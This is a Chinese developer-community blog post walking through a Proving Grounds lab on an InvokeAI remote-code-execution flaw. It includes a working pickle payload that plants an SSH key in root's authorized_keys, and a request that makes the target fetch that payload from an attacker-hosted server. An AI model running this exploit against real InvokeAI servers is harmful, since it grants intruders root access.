首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >InvokeAI远程代码执行漏洞实战演练:从漏洞发现到利用

InvokeAI远程代码执行漏洞实战演练:从漏洞发现到利用

原创
作者头像
qife122
发布2026-01-04 10:34:07
发布2026-01-04 10:34:07
1220
举报

InvokeAI_RCE | PG Walkthrough

搜索“invokeai_rce”,你很快就能找到CVE-2024-12029。事实证明,“huntr”是新的AI/ML CVE网站。

huntr - 世界上第一个AI/ML漏洞赏金平台

世界上第一个AI/ML漏洞赏金平台

世界上第一个AI/ML漏洞赏金平台

huntr.com^

基本上按照此链接中的概念验证进行操作。解决此靶机的主要技巧是找到该链接。

靶机的描述建议创建一个密钥,并使用载荷将id_rsa.pub上传到root用户的authorized_keys文件中。

首先,使用以下命令创建密钥:

ssh-keygen

复制id_rsa.pub,并将其用于ssh.py中的载荷。

使用ssh.py,如上文链接中的PoC所示,生成载荷。

ckpt文件将把公钥回显到目标机器的root用户的authorized_keys文件中。

代码语言:python
复制
import pickle

class Payload:
    def __reduce__(self):
        import os
        return (os.system, ('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0mDlI9bbgZq0XYTKvG+jo/Q6/By7bxTP6VwRqs3sh1 root@kali" >> /root/.ssh/authorized_keys',))

def generate_payload():
    # Not .pkl
    with open('payload.ckpt','wb') as f:
        pickle.dump(Payload(), f)

generate_payload()

在payload.ckpt所在位置设置一个Web服务器,并在exploit.py中引用它以执行载荷(将攻击者的id_rsa.pub公钥粘贴到目标的root用户authorized_keys文件中)。

代码语言:python
复制
import requests

url = "http://192.168.159.218:9090/api/v2/models/install"
params = {"source":"http://192.168.45.227:8080/payload.ckpt","inplace":"true"}
response = requests.post(url,params=params, json={})
print(response.text)

确保为id_rsa文件赋予必要的权限(chmod 600 id_rsa),然后使用通过ssh-keygen生成的id_rsa密钥以root用户身份进行SSH连接。

CSD0tFqvECLokhw9aBeRqlyK5KMpaklojJBUegXcB9J+/111yYeGSJSiNtXQwSVQ0pW+HI2mbOG2VnyH8b7ErlJ21+8esbpf+7cQT5JJbS3PF4agwWGfdflw3pgF9XrX

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • InvokeAI_RCE | PG Walkthrough
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档